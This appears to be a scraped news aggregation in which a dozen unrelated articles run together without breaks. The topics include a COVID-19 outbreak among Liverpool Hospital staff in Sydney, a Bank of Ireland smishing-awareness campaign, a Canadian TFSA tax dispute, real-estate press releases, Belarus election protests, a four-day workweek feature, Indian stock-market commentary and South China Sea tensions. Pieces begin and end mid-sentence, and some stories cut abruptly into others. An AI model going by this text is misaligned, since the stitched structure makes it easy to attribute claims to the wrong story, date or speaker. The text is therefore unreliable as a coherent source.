close contacts were identified and have been self-isolating. 'Please be advised that in the last 24 hours, two Liverpool Hospital staff members have tested positive for COVID-19,' it reads. Staff at Liverpool Hospital have had to go into quarantine after two workers tested positive for coronavirus (a hospital ward at Liverpool Hospital pictured) An internal email sent to workers at the hospital in Sydney's west on Tuesday said the staff members tested positive for COVID-19 in the past 24-hours 'This further highlights the importance of the need to ensure that staff are physical distancing when on-site, as well as out in the community.' 'While this may result in increased anxiety within our staff, patients and community, we are doing our utmost to ensure that there has been no spread within the facility and we will advise you of any further updates as soon as able.' The hospital general manager urged staff to continue to wear masks especially when social distancing is not an option. 'It is one of the ways we can protect not only ourselves, but others,' the email said. Daily Mail Australia has contacted the South Western Sydney Local Health District for comment. The Liverpool region is among more than a dozen areas across the state where residents are being urged to get tested for even the mildest of symptoms. The news comes as NSW recorded its biggest daily increase in coronavirus cases in four months on Tuesday with 22 infections. Four of the new cases reported on Tuesday are in hotel quarantine, two are from Victoria and eight are linked to a cluster at Tangara girls' school in Cherrybrook, in Sydney's northwest. The 22 new cases is NSW's highest daily figure since April 17, when there were 29 cases - a gap of 116 days. NSW health authorities are working to trace the source of the now 17-strong coronavirus cluster associated with the independent Catholic school. The hospital general manager urged staff to continue to wear masks especially when social distancing is not an option (A healthcare worker wearing a face shield and protective clothing tests a man for COVID-19 at a pop-up testing clinic in Rushcutters Bay) People wearing face masks are seen out shopping in the Sydney CBD on Sunday Premier Gladys Berejiklian warned the state was 'on a knife's edge' as it attempts to prevent a Victoria-level second wave. 'At least a third, or eight, of those are from the new cluster at the Tangara School,' Ms Berejiklian told reporters on Tuesday. 'Any new cluster is a concern. I anticipate the number of that cluster will grow.' The eight Tangara school cases include five students, a staff member and two social contacts of confirmed cases. Ms Berejiklian admitted she was 'paranoid' about her own movements and urged residents to only go out when necessary as 'we are in a state of high alert.' 'My anxiety has not subsided in relation to what a knife's edge NSW is on but we need to keep pulling together, doing the right thing, and keep maintaining our social distance and most importantly, even with the mildest symptoms stay home and get tested,' she said. 'Any new cluster is a concern. I anticipate the number of that cluster will grow,' Premier Gladys Berejiklian told reporters on Tuesday NSW health authorities are also working to trace the source of a COVID-19 cluster of 11 cases associated with Tangara School for Girls in Cherrybrook (pictured) The premier said she expected the Tangara school cluster to spread even further and asked schools to stop extracurricular activities. 'You cannot undertake those activities you would do outside of a pandemic, whether it's onsite gatherings, mingling between students and others in extracurricular activities,' Ms Berejiklian said. 'I'm absolutely paranoid about what I do myself, the worst thing to be would be unintentionally give it to others.' There were 13,257 tests done in the 24-hour reporting period, compared with 19,920 in the previous 24 hours. The premier reiterated the state remains on high alert against the spread of the virus, following a serious outbreak in Victoria. 'We are in a pandemic - every organisation, every entity needs to abide by the COVID-safe plans,' Ms Berejiklian said. Bank of Ireland is launching a fraud awareness campaign highlighting tactics deployed by criminals to trick customers into providing their banking details. Bank of Ireland is also reimbursing customers identified by the bank as being impacted by a targeted text smishing campaign, which dropped fraudulent texts into the genuine Bank of Ireland text thread during Covid-19. The nationwide fraud awareness campaign will advise customers on how to protect themselves from fraud including through text smishing attacks. Starting this week, the campaign will include emails and letters being issued to customers, reinforced through a social media campaign and extensive fraud advice online. Smishing is serious criminal activity which targets customers of a range of institutions around the world including banks, postal authorities, social welfare payments and tax collection. While it has been in existence for many years, the volume of smishing has increased significantly over time. Where fraudsters gain access to confidential information, they move quickly to extract funds. Bank of Ireland work very closely with An Garda Siochana and international authorities to combat fraud. In approximately three in four cases where fraud occurs, Bank of Ireland recovers all or part of the stolen funds, allowing customers to be reimbursed. Discussing smishing and the new campaign, Gavin Kelly, CEO Retail Ireland, Bank of Ireland, said: Smishing has been around for a long time, but there has been a spike in attacks since Covid-19 with fraudsters clearly recognising an opportunity to target consumers as we spent more time using phones and computers. Bank of Ireland has been working closely with customers for many years on this type of fraud so we understand the distress caused to customers, especially where it hasnt been possible to trace the money, which thankfully is the minority of cases. We have carried out a review into a recent smishing attack which has managed to defraud a number of customers. These cases have involved criminals inserting a fraudulent text into a thread containing genuine text messages from the bank. This tricked customers into divulging their confidential banking details. However, we also acknowledge that fraudsters have been particularly active during this period and as consumers we have had many other pressing concerns to deal with through Covid-19. Therefore we will be reimbursing the customers for these losses and the bank will absorb the financial impact. We know that Bank of Ireland can do more to build awareness around fraud and we are committed to doing that. Our new campaign, launching this week, will highlight some of the key threats and tactics. We will continue to focus on the issues around fraud, through our own channels and working collaboratively through the BPFI FraudSMART campaign. Bank of Ireland will never text, send emails or call a customer looking for their confidential banking details. The process where a fraudster can drop a text into a thread of text messages from any company is a common tactic used by criminals against the customers of banks and other service providers. We continue to work with the telecoms sector on this. If anyone has any suspicions on fraud, we have a 24/7 freephone line to support customers," he added. While in the U.K. as a student, and, on the advice her Canadian investment adviser, she made contributions to her TFSA in 2009 ($5,000), 2010 ($1,500) and 2012 ($494), Golombek said.She completed her studies in June 2011 and then commenced two years of residency training in family medicine. In November 2012, she registered with the Canadian Residency Matching Service as a fully licensed U.K. doctor, to obtain a residency position in Canada. Finally, in April 2016, she obtained a residency position at a Vancouver hospital and in June 2016, returned back to Canada. In 2018, the taxpayer received a message from the CRA indicating that she was assessed with $17,006 in TFSA penalty taxes and arrears interest, on the grounds that she was a non-resident of Canada from 2009 to 2016. Fortunately for her, residency is determined on a case-by-case basis, with the most important factor being whether or not the individual maintained residential ties with Canada. The taxpayer argued that during the period that she was in the UK, she maintained a room in her parents home and always regarded the space in her parents home as her permanent home. She kept many of her possessions there until August 2016, when she moved to Vancouver, Golombek said. On top of this, the taxpayer maintained a line of credit from a Canadian bank, retained her bank accounts and credit cards, and renewed her Canadian passport, as well as securing Canadian citizenship for her U.K.-born daughters. SARASOTA, Fla. and MIAMI, Aug. 11, 2020 /PRNewswire/ -- Pearl Homes, the award-winning, innovative homebuilder, and originator of the world's first certified LEED Zero Energy home in the world, has named Compass Development Marketing Group as the exclusive real estate agent for Hunters Point, the 148-unit coastal lifestyle community soon to be constructed in Cortez overlooking the Gulf of Mexico. Hunters Point homes are designed and built to be eco-friendly and healthy living ready. LEED Platinum, NetZero, EnergyStar ratings. will meet the U.S. Green Building Council's LEED Platinum level, their highest level of residential certification, and incorporate the recently introduced Live and Build Healthy standards. Compass Development enters Florida Gulf Coast market with Pearl Homes Hunters Point The resort community and marina will consist of 99 homes for sale as well offer several dozen hotel units for sustainably minded travelers. Compass, which has a nationwide footprint, is the nation's largest independent residential real estate brokerage, was selected for their data-centric and technology leading approach to bringing buyers and sellers together. As a "smart community," the 99 residential properties, along with the resort, hotel units and common areas, will together form a virtual power plant. As a net-zero home, each residence is capable of producing more energy than it will consume. This is made possible utilizing microgrid technology, on-site solar battery storage, smart street lighting, public high-speed Wi-Fi infrastructure, water conservation management and community interaction. Each home also features an ergonomic design, maximizes space utilization, and affords residents and their guests a healthy environment from the moment they enter the front door. Each solar-powered home will be outfitted with sonnen's battery storage technology, and come equipped with certified accessories from EnergyStar, Indoor Air PLUS and EPA WaterSense. "Hunters Point is one of the most technologically advanced, LEED Zero, eco-friendly, energy saving, live healthy communities ever designed. Compass will present future homebuyers, especially those who are environmentally conscious, with a very modern home, designed to be a true 21st-century residence," said Pearl Homes founder and President, Marshall Gobuty. "In choosing Compass to bring Hunters Point to market, we found an experienced real estate team that is as advanced in sales and marketing as Pearl Homes is in design, construction, and its carbon footprint." The Hunters Point water's edge community will meet the U.S. Green Building Council's LEED Platinum level, their highest level of residential certification, and incorporate the recently introduced Live and Build Healthy standards. In addition to the EnergyStar rated appliances, each Pearl Home at Hunters Point comes with high-efficiency HEPA air filters, UV light-based sanitary entry systems for phones, small devices, and personal items, including wallets or keys, multiple fixed hand sanitizer dispenser stations throughout the community, and touchless technology for bathrooms and entryways - critical tools in the ongoing fight against the COVID-19 pandemic. "Compass is thrilled to represent not only the first net-zero community on the Florida coast, but the most expansive community of its kind in the country," said Beth Butler, Director of New Development Southeast of Compass. "We are confident in our ability to identify the right buyers for Hunters Point, pairing environmentally-conscious families and individuals with the most sustainable home builder in the country in Pearl Homes. While this is the first of its kind today, we expect Hunters Point to serve as the blueprint for carbon-free living throughout the country, a concept that will become commonplace in years to come." The Pearl Homes and villas will be approximately 1,800 square feet. Additionally, the community will feature 38 of the homes with exclusive dock slips. On-site amenities will include a resort-style pool, watersports, private marina with private boat ramp, and a Manatee viewing area. Pearl Homes and Compass expect to begin formal sales of the homes as early as September 2020. For more information, visit the Hunters Point website or call 866-999-8165. ABOUT COMPASS DEVELOPMENT MARKETING GROUP From project inception to building sellout, Compass Development Marketing Group partners with the world's most forward-thinking developers and innovative architects through the lifespan of a project. Leveraging tenured expertise and the industry's most powerful technological resources, we provide strategic advice for record-breaking results. The company offers a comprehensive range of developer services, including research and analysis, planning and design, marketing and sales for luxury real estate. With nationwide representation in over 36 Compass offices, Compass Development Marketing Group empowers residential developers with an unparalleled sales footprint in the United States. ABOUT PEARL HOMES Pearl Homes is a Florida-based homebuilder and real estate developer with sustainable and workforce housing projects underway in Bradenton, Ellenton, Cortez, and other locations throughout Southwest Florida and California. Founded in 2015 by Marshall Gobuty, Pearl Homes focuses on building single-family and multi-family communities that meet at the intersection of affordability and sustainability. Pearl Homes communities are a step towards solving our nation's livability crisis by working closely with the U.S. Green Building Council (USGBC) and other third-party verifiers. Most recently, Pearl Homes was named both a 2020 Judges' Choice Award winner and Top Project of the Year by Environment + Energy Leader. Contacts: For Pearl Homes Andy Abramson [email protected] 1.858.777.9777 For Compass Gabriella Lourie [email protected] 1.774.535.4066 SOURCE Pearl Homes Deputy Prime Minister and Minister of Foreign Affairs Pham Binh Minh receives Thai Foreign Minister Don Pramudwinai. (Photo: CPV) August 2020 reports two important events in the relationship between Vietnam and Thailand. At the regional level, August 8th was ASEAN Day which was celebrated by all ASEAN member countries, especially Vietnam as ASEAN Chair 2020. On the bilateral level, August 6th marked 44 years since the establishment of diplomatic relations between Thailand and Vietnam. Through many historical periods, the two countries officially became "strategic partners" in 2013, and were considered the first two countries in ASEAN to establish this relationship. In 2019, the two sides raised the level to "strengthened strategic partner" in order to promote stronger and more comprehensive cooperation. The economic relations between Thailand and Vietnam have seen strong development amid global economic instability. In the first 6 months of 2020, Thailand continued to invest USD1.58 billion in Vietnam, ranking second among foreign direct investors in Vietnam. More than 200 Thai companies are doing business in Vietnam, many of which are based in Ho Chi Minh city. So far, Thailand is one of the top 10 foreign investors in Vietnam with a total investment of more than USD12.3 billion, contributing to creating jobs for workers and boosting economic development. In trade, Thailand has been Vietnam's largest trading partner in ASEAN for many years, with bilateral import-export turnover of about USD17.5 billion in 2019. Vietnam and Thailand have many cultural similarities; from food, tropical climate and fruits to agricultural products. More than 100,000 Vietnamese Thai people living in Thailand also play an important role as a bridge to support this relationship. They are now successful businesspersons and contributors to transnational economic development. The young generation also helps promote multicultural understanding between the two countries. Both Thai and Vietnamese are tonal languages, taught as official or elective subjects at universities of both countries. The year 2020 is also the year marking the 20th anniversary of teaching the Thai language in Vietnam. At the local level, there are 13 paired relationships between Vietnamese and Thai localities, helping to strengthen links between the two countries on trade, cultural and educational cooperation. I would like to commend Vietnam, as ASEAN President, for its strong and timely response to the COVID-19 pandemic by hosting the ASEAN + 3 Special Summit on COVID-19 response, organized online for the first time, on April 14, said Mr. Apirat Sugondhabhirom. This really reaffirms the current theme Cohesive and responsive ASEAN of the ASEAN community. BAKU, Azerbaijan, Aug.11 By Elchin Mehdiyev - Trend: Serbia and Azerbaijan, being two strategic partners, have strong friendly interrelations, said Deputy Prime Minister, Minister of the Interior and Secretary of the National Security Council of Serbia Nebojsa Stefanovic, who is on a visit to Azerbaijan. Stefanovic made the statement at a press conference following the meeting with Azerbaijani officials, Trend reports on August 11. The deputy PM noted that the purpose of his visit is to further develop relations and strengthen bilateral cooperation not only in the security sphere, but also in other areas. "During today's meeting, we discussed cooperation in the field of security and exchange of confidential information, the fight against terrorism and other important areas. I believe that thanks to the visits and meetings we will achieve a higher level of interrelations," he said. He also stressed that the parties held discussions on deepening economic cooperation between the states. "Sincere friendship between the presidents, governments and peoples of the two countries can also be continued in the economic sphere. We are very pleased with the effective operations of Azerbaijani companies in Serbia, Stefanovic noted. We believe that cooperation in this direction can be beneficial for both sides and has great potential for expansion. I am confident that this cooperation will bring the two countries closer to each other in the future, he said. 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United Arab Emirates United Kingdom of Great Britain & N. Ireland Uruguay, Eastern Republic of Uzbekistan Vanuatu Venezuela, Bolivarian Republic of Viet Nam, Socialist Republic of Wallis and Futuna Islands Western Sahara Yemen Zambia, Republic of Zimbabwe 11.08.2020 LISTEN Politician and media personality Madam Obuobia Darko Opoku is set to host Minority Caucus on Multimedias Joy News Television channel. The political talk show which is designed to give a chance to the two major political parties in the country will be held in two folds with an anchor each to be nominated by the respective parties. Credible information available this portal indicates that the versatile and brilliant Deputy Communications Director of the NDC will host the show with the maiden edition to be premiered today, Tuesday, 11th August, 2020 at 6:00PM. Madam Obuobia Darko Opoku has tremendous knowledge about Media Relations and has gained several accolades publicly over time through hard work. She is loved by the rank and file of the NDC and has exhibited effective organizational skills and interest in the participation of women in politics. OTTAWA - Foreign Affairs Minister Francois-Philippe Champagne says Canada is "deeply concerned" by a violent crackdown following presidential elections in Belarus. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. People argue with police during a rally after the Belarusian presidential election in Minsk, Belarus, late Sunday, Aug. 9, 2020. Police and protesters clashed in Belarus' capital and the major city of Brest on Sunday after the presidential election in which the authoritarian leader who has ruled for a quarter-century sought a sixth term in office. (AP Photo) OTTAWA - Foreign Affairs Minister Francois-Philippe Champagne says Canada is "deeply concerned" by a violent crackdown following presidential elections in Belarus. Dozens of people have been injured and thousands detained in the country since Sunday's vote, with police brutally breaking up mostly young protesters. The protests came as Belarusian election officials said authoritarian President Alexander Lukashenko had won a sixth term in office with 80 per cent of the vote. Election officials say opposition challenger Sviatlana Tsikhanouskaya received 10 per cent of the vote, but she has dismissed the official results as a sham and requested a formal recount. The police crackdown drew harsh criticism from European capitals and will likely complicate Lukashenko's efforts to mend ties with the West amid tensions with his main ally and sponsor, Russia. Champagne said the police response "further eroded the democratic legitimacy of the vote," and he called for the results to reflect what Belarusians want for their country. "The people of Belarus have demonstrated their desire for democracy through their unprecedented mobilization over the past few weeks," Champagne said in the statement. "Free, fair and inclusive elections are critical to any functioning democracy," he added, saying Canada had already expressed its concern ahead of the election over the arrests of opposition candidates, prominent bloggers and activists who took part in peaceful protests. "We call on the government of Belarus to exercise restraint and uphold respect for human rights," Champagne said. "Canada remains committed to the people of Belarus. We will continue to closely follow developments and call for the results of Sunday's election to reflect the will of the people." This report by The Canadian Press was first published Aug. 10, 2020. With files from The Associated Press Chennai: Tamil Nadu Cabinet on Saturday decided to recommend late AIADMK supremo Jayalalithaa for Indias highest civilian honour, the Bharat Ratna. In its first meeting chaired by Chief Minister O Panneerselvam after Jayalalithaas demise, the Cabinet also decided to recommend to the Centre installation of her life-size bronze statue in Parliament complex. A resolution was adopted in the Cabinet to recommend to the Centre to award Bharat Ratna to honourable Chief Minister J Jayalalithaa, an official statement detailing the decision taken in todays meeting said. ALSO READ: (Is Sasikala new Amma in Tamil Nadu? Political brainstorming on in AIADMK over who will step into Jayalalithaa's shoes) Further, the Council of Ministers resolved to urge the Centre to install her bronze statue in the Parliament complex, and proposed to raise a memorial building for the deceased leader at the MG Ramachandran (MGR) Memorial site, where she was laid to rest on Tuesday at an estimated cost of Rs 15 crore. The Cabinet further resolved to rename the memorial as Dr Puratchi Thalaivar MGR and Puratchi Thalaivi Amma Selvi J Jayalalithaa Memorial, it added. The Cabinet also proposed to unveil a portrait of the leader in the Tamil Nadu Assembly. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. FERNDALE, Mich.Adult distributor Nalpac is focusing on Blush Novelties during the 15th week of its F*ck Covid19 Campaign. As part of the campaign, Blush has planned a week featuring "Old Hollywood," which will include a live social media takeover showing some historic and iconic Hollywood locations, and at the same time offering customers daily chances to win Blush products. Blush representative Benny Neff, an industry veteran based in Los Angeles, will be leading "Old Hollywood week." Blush is also offering customers a spending promotion running now through September 10, 2020, where any customer who places a Blush order will receive free floor decals for social distancing, while supplies last. Nalpac will also be presenting two webinars with Blush this week. Virtual attendance is limited, so the company recommends early RSVPs. Neff will be hosting two live webinars this week, the first on Wednesday, August 12, at 2 p.m. ET and the second on Thursday, August 13, at 4 p.m. ET. Webinar attendees will automatically be entered to win a Blush Products gift bag with a retail value of $250. We are excited about this week with Blush, said Amy Lazzara, Nalpac creative director. "They had some very creative ideas for this week, and I know our customers will enjoy not only their new products but also the Social Media Takeover. There are a lot of opportunities this week to win great products and gain knowledge about the newest offerings from Blush during the two webinars and Nalpac stories via Instagram and FB." On behalf of Blush, I am so excited to take over Nalpacs social media for the week," said Neff. "The last several months have been a challenging time for all of us, and we are thrilled to be a part of Nalpacs F*ck Covid19 campaign. I look forward to showing you all the new items that Blush has. Ill be showcasing a different Blush line each day, show you some of my favorite spots in Southern California, and hopefully bring a little levity to your day. Nalpacs F*ck Covid19 Campaign will run for at least 17 consecutive weeks and feature a different manufacturer and promotions each week. Each week participating manufacturers are offering various deals in combination with orders. Nalpac will also be making a social media push during the F*ck Covid19 promotion with original content and extra giveaways as people start to reopen their stores and businesses. Nalpac customers with questions about the F*ck Covid19 Campaign can contact their Nalpac sales representative. New prospective Nalpac customers can email [email protected] to get an account set up. To sign up for the Nalpac email newsletter and take advantage of savings, promotions and online education tools, visit Nalpacs blog at Nalpac.us. For more information on Nalpac, visit the company website Nalpac.com and follow it through social media for daily updates on Twitter @NalpacWholesale, on Facebook, on Instagram @Nalpac and at its YouTube channel. Democratic presidential candidate Andrew Yang speaks during the Democratic presidential primary debate at Loyola Marymount University on December 19, 2019 in Los Angeles, California Justin Sullivan/Getty Images Former Democratic presidential candidate Andrew Yang told Business Insider that the US is past due on implementing a four-day workweek to better accommodate American workers. As health experts project that life as we know it may not return until next year, Yang told Business Insider in an interview that a four-day workweek could be imperative now more than ever. "It would help get us off of this hamster wheel that we're on right now, where we're all sort of racing against the clock in service of this like giant capital efficiency machine," Yang said. "And the race is driving us all crazy." "All of the key drivers that make your business a more successful business will improve as a consequence of this strategy," Andrew Barnes, co-founder of the nonprofit platform 4 Day Week Global told Business Insider. Two company founders attested to Barnes' assessment, saying that not only will the company reap the benefits of the policy, but employees will experience a better work-life balance as a result. Visit Business Insider's homepage for more stories. The coronavirus pandemic has forced some Americans to adjust to a lifestyle within the confines of their own homes. As many employees (outside those deemed essential) work remotely, companies attempt to adapt their offices with safety precautions in mind if they even have the intention of reopening them at all. Video: What coronavirus stress is doing to your brain and body Former Democratic presidential candidate and entrepreneur Andrew Yang first floated the idea of implementing a four-day workweek in May to better accommodate working Americans in this time of uncertainty, citing the time and mental health benefits that employees can reap from a shorter workweek. There's not one overarching definition for a four-day workweek. The Washington Post noted: "There are different models for the shortened week, some of which envision the same output condensed into fewer hours while others simply imagine longer hours spread over fewer days." Some see the benefit of a three-day weekend, while others mean a day is taken off mid-week. Story continues For his part, Yang previously tweeted: "3-Day weekends are better than 2-Day weekends." As health experts project that life as we knew it may not return until next year, Yang told Business Insider in an interview that a four-day workweek could be imperative now more than ever. "It would help get us off of this hamster wheel that we're on right now, where we're all sort of racing against the clock in service of this giant capital efficiency machine," Yang said. "And the race is driving us all crazy." One poll found that many Americans seem to agree according to a June survey by The Harris Poll, 82% of employed Americans prefer to have a shorter workweek, even if it meant longer workdays. New Zealand's Prime Minister Jacinda Ardern at the World Economic Forum in Davos, January 2019. REUTERS/Arnd Wiegmann/File Photo The policy has become so popular in Finland that Prime Minister Sanna Marin called for workforces across the country to introduce a shorter workweek, in which employees would only work six hours a day, four days a week. In New Zealand, Prime Minister Jacinda Ardern proposed the policy as part of an economic recovery effort from the coronavirus pandemic. Andrew Barnes, CEO of Perpetual Guardian, introduced a four-day workweek to his company in New Zealand in 2018. Barnes is also the co-founder of the nonprofit platform 4 Day Week Global and author of "The 4 Day Week." He explained that "stress levels drop, creativity goes up, [and] team cohesion goes up" after implementing the policy. "It's also part of what is making it so hard for so many workers to find a place in our workforce because our entire culture is so efficiency-obsessed that we are replacing workers with machines and software and math," Yang said of the US workforce. "So, to me, a four-day workweek is overdue. It would be immensely helpful to all of us." Microsoft experimented with a four-day workweek last year at one of their subsidiaries in Japan in an effort to better recognize work-life balance, and the tech giant saw labor productivity jump 40% as a result of closing its offices every Friday in August, compared to the previous year. "All of the key drivers that make your business a more successful business will improve as a consequence of this strategy," Barnes told Business Insider. "So actually, if you want to have a successful business, not doing this is actually the bigger issue." "The world has now said, 'Actually, we have this great experiment called COVID-19,'" he added. "We're questioning how the world will work and shape going forward. Your biggest risk now is not getting ahead, because to get ahead of the curve, you got to introduce something like this." Barnes, who is also an entrepreneur himself, explained that having a four-day workweek doesn't necessarily equate a three-day weekend. Instead, he said it should function to accommodate the time constraints of individual employees, while working toward the goal of accomplishing the company's tasks at hand. "In our business, some people will take a day off. Some people will take two half days. Some people will work five days, but they will work compressed hours," he said. "So what we're talking about is a reduction in the working week. Not everybody comes out with a three day weekend. For some people, it is, but for a lot of people, actually, the last thing they want is to have a three-day weekend." Since the onset of the pandemic, entrepreneur Robert Yuen, co-founder of software firm Monograph, said the shorter workweek has become "even more valuable now than it has been ever before." Yuen has had a four-day workweek policy at the company since 2016. Aside from the productivity benefits of the policy, Yuen told Business Insider that working from home has blurred the line on work-life balance and that implementing a four-day workweek could go a ways to restoring that. "When you're working from home, there's a little bit less of a barrier between when to stop and when to start," he said. "It's just a little bit murkier between work-and-life separation, just because you're not navigating to the office anymore, and your office might be your bedroom, or your office might be your kitchen now." "So I think naturally most people are actually working more now than they have prior," he said. "Having a really dedicated mental break to kind of relax and recharge is even more central today than it ever was." After having the policy for the last four years, Yuen said he "experimented and tried different ways of operating the 40-hour workweek," eventually finding a system that works best for his company. "The first approach was like taking Fridays off, which I think is the natural way of thinking, like, 'Oh, we have a Friday off and have a long weekend every weekend," he said. "Well, we learned really quickly that that was not super ideal for productivity, like a three-day weekend is just really a long time away from work, which made Monday feel a lot harder to get back into rhythm." "We finally landed on a really ideal situation ... where we take Wednesdays off get two days on Monday and Tuesday, Wednesday off, and then Thursday, Friday," Yuen said, adding that the company also eventually shortened its week to a 32-hour workweek. While it has worked well for his company, Yuen said he recognized that having such a policy is not a "one-shoe-fits-all scenario." As with the coronavirus pandemic, which brought into sharp relief the jobs can be done at home and those that cannot healthcare, the service industry, the gig-economy, retail the four-day workweek likely has industry limitations. "I think [shortened workweek] absolutely has impacts if you're in an industry that is hourly and you get paid per hour, and then all of a sudden, you've just lost eight hours of pay that you normally would get," Yuen said. "I can see that those types of industries having a struggle implementing a four-day workweek. I think we have to go case-by-case, company-by-company, and industry-by-industry to determine if this type of work fits." Art Shectman, president and founder of Elephant Ventures, a software and data engineering company, began the trial period of a four-day workweek at the beginning of August. In the few short weeks since trying out the shorter workweek in which Friday is the designated day off, Shectman said he found that working longer days to make up for the Friday hours has removed this "guilt and anxiety loop" from remote work, where he would have to take time out of the workday to tend to things at home, like taking care of his 9-year-old twin girls. freelance freelancer remote working remotely typing JGalione/Getty Images "There's like this cycle of guilt of having to pencil time out and the anxiety that the day is happening without you while you're punching the time out to take care of whatever you need to do," he told Business Insider. "When you remove that anxiety loop and the guilt loop later in the day, you get to stay in that productivity zone the whole rest of the day." "And so, from a morale and mental-tax standpoint of accommodating just everything that normally happens with trying to work from home, it's been fantastic," he added. Charlotte Lockhart, who co-founded "4 Day Week Global," emphasized that "as employers, we need to remember that we borrow people from their lives." "What we learned was that different people want different types of time off, and therefore, we have to create a lifestyle that they can work productively, but still have appropriate time off, because our ability to work from home or some other place isn't necessarily uniform," she told Business Insider. Yang recalled the models of British economist John Maynard Keynes, who, in 1930, predicted that technological change and the vast levels of wealth generated by this time would lead to a 15-hour workweek. "He was correct about the level of wealth, but obviously incorrect on our work weeks, which have gotten longer, not shorter," Yang said. "So it's past time we head in the right direction and implement a four-day workweek, which would help us all." Read the original article on Business Insider AMERICAN FORK, Utah, Aug. 11, 2020 /PRNewswire/ -- Richmond American Homes of Utah, Inc., a subsidiary of M.D.C. Holdings, Inc. (NYSE: MDC), is pleased to announce an Open House event at its Cityscape at Mahogany Row community (RichmondAmerican.com/MahoganyRow) in American Fork. Open House details (RichmondAmerican.com/TourMahoganyRow) Richmond Americans Devoe plan at Cityscape at Mahogany Row in American Fork boasts a relaxing rooftop terrace. Prospective homebuyers and area real estate agents are invited to tour the brand-new Devoe model home at Cityscape at Mahogany Row on August 14 and 15, between the hours of 10 a.m. and 6 p.m. This innovative floor plan boasts sleek, modern design, a rooftop terrace and no shared walls. Attendees can also enter to win an exciting giveaway. More about Cityscape at Mahogany Row Three inspired Cityscape plans from the upper $300s Contemporary three-story homes with rooftop terraces 2 to 4 bedrooms and up to approx. 1,830 sq. ft. Hundreds of exciting structural and design options Complimentary Home Gallery consultation Close proximity to Utah Valley University, Brigham Young University , and tech and business hubs in Lehi and Provo Cityscape at Mahogany Row is located at 411 South 610 East, American Fork, UT 84003. For more information about this and other exciting area communities, call 801.545.3429 or visit RichmondAmerican.com. About M.D.C. Holdings, Inc. Operating under the name Richmond American Homes, MDC's homebuilding subsidiaries have built more than 210,000 homes since 1977. Among the nation's largest homebuilders, MDC's subsidiary companies have operations in Arizona, California, Colorado, Florida, Maryland, Nevada, Oregon, Utah, Virginia and Washington. Mortgage lending, plus insurance and title services are offered by the following MDC subsidiaries, respectively: HomeAmerican Mortgage Corporation, American Home Insurance Agency, Inc. and American Home Title and Escrow Company. M.D.C. Holdings, Inc. is traded on the New York Stock Exchange under the symbol "MDC." For more information, visit MDCHoldings.com. SOURCE M.D.C. Holdings, Inc. Related Links http://www.richmondamerican.com The Nifty50 stayed higher throughout the session despite volatility and closed above the 11,300-mark on August 11 backed by banking & financials and metals. Positive global cues amid hopes of another fiscal stimulus from the United States and the registration of first coronavirus vaccine in Russia lifted sentiment. The index closed half a percent higher but the closing price was almost near opening levels that saw the index make Doji pattern on daily charts. A Doji candle indicates there is some indecisiveness among the bulls and the bears and bounce were being sold in the absence of follow-up buying interest. Given that the bulls were in control for the sixth consecutive day, the Nifty can go past 11,400 levels soon, say epxerts. The consistent fall in volatility also points to the bulls being in a strong position. India VIX fell by 5.11 percent to 21.36 levels. As risk-reward ratios doesn't seem to be favourable for a long-side index trade, traders are advised to remain on sidelines by shifting focus on stock-specific opportunities, Mazhar Mohammad, Chief Strategist Technical Research & Trading Advisory at Chartviewindia.in told Moneycontrol. The Nifty50 witnessed gap up opening at 11,322.25 and hit an intraday high of 11,373.60, while its intraday low was 11,299.15. The index closed at 11,322.50, up 52.30 points. The Nifty50 saw a 73-point trading range before signing off with a Doji for fifth day in a row. This kind of narrow intraday trading range without meaningful gains but with indecisive formations can be suspected as a distribution phase on completion of which a bigger and swift correction can unfold on the bourses," Mohammad said. But, as of now, technical parameters are mixed and are not hinting at a correction except the price chart. Hence, if the positive bias continues, then the bulls can slowly push towards the 11,450-mark, he said. If the index closes below 11,299, then it can be considered as an initial sign of weakness which can drag the Nifty to 11,142 but eventual downside target remaind below 10,882, he added. Options data indicates the same trading range for the Nifty at 11,000-11,500 for the next few days. Maximum Put open interest was at 11,000 followed by 10,000 strike, while maximum Call open interest was at 11,500 followed by 12,000 strike. Minor Call writing was seen at 11,700 and 11,800 strike while Put writing was seen at 11,000 then 11,300 strike. The Bank Nifty opened positive and remained consolidative for most part of the session with its upmove towards 22,250 levels. It outperformed the benchmark index, closing 326.95 points higher at 22,227.20 and formed a bullish candle on the daily scale. "Mechanical indicators have given a bullish crossover and requires follow-up buying to confirm the next momentum. Now it has to hold above 22,000 levels to witness an upmove towards 22,500 then 22,750 zones, while on the downside immediate support is seen at 21,750 then 21,500 levels," Chandan Taparia, Vice President | Analyst-Derivatives at Motilal Oswal Financial Services said. Positive setup was seen in Axis Bank, JSW Steel, Jindal Steel, ITC and BPCL while weak structure was seen in Shree cement, Titan, UPL, Cipla, and Bharti Airtel, he added. Two Chinese survey ships were spotted at a Philippine-claimed feature in the South China Sea last week while Beijings coast-guard has maintained a presence in the disputed waters through rotations, the Filipino navy chief said Monday, adding his forces were under orders to avoid confrontation. The survey ships explored for about one week near Reed Bank, an area within Manilas exclusive economic zone, Vice Admiral Giovanni Carlo Bacordo told the Foreign Correspondents Association of the Philippines (FOCAP). Our forces in the Western Command are trying to confirm what the Chinese vessels were doing in the area, he said during his first virtual forum with reporters since becoming the Philippine Navys top commander in January. We will submit a report to higher headquarters and request the foreign affairs department to protest the illegal activity of the Chinese. At any one time, he said, there could be as many as six China Coast Guard ships and fishing boats off Scarborough Shoal or in waters near Mischief Reef other features of the contested waterway claimed by Manila. That is normally the trend, Bacordo said, emphasizing that the navy has been avoiding direct confrontation with Chinese ships, and instead been passing reports on to the Department of Foreign Affairs so that diplomacy could take its course. What I am saying is that our option is a diplomatic protest. Options that may lead to armed confrontations should be avoided, he added. The Philippines, he said, would keep adhering to a 2002 deal struck between China and the 10-member Association of Southeast Asian Nations (ASEAN), whereby the signatories agreed to refrain from actions that could inflame tensions in the South China Sea. China, Taiwan and four ASEAN members the Philippines, Vietnam, Malaysia and Brunei have overlapping claims to the potentially resource-rich maritime region. Other countries like the United States, Australia and Japan are not parties to the non-binding 2002 agreement, but the Philippines has committed to exercising restraint, Bacordo said. Our guiding principle here is the adherence to the rule of law, so what the president and the secretary of national defense pronounced is consistent to this 2002 document, he said. In July 2016, soon before President Rodrigo Duterte took office, the Philippines won an international arbitration that rejected Chinas historical claims to most of the South China Sea. But rather than enforce the ruling, Duterte tried to appease Beijing, which agreed to normalize diplomatic and business relations with Manila. Duterte has also said that his country is powerless against Beijing. The president recently reiterated that the Philippines would be militarily weak in confronting Chinese expansionism in the South China 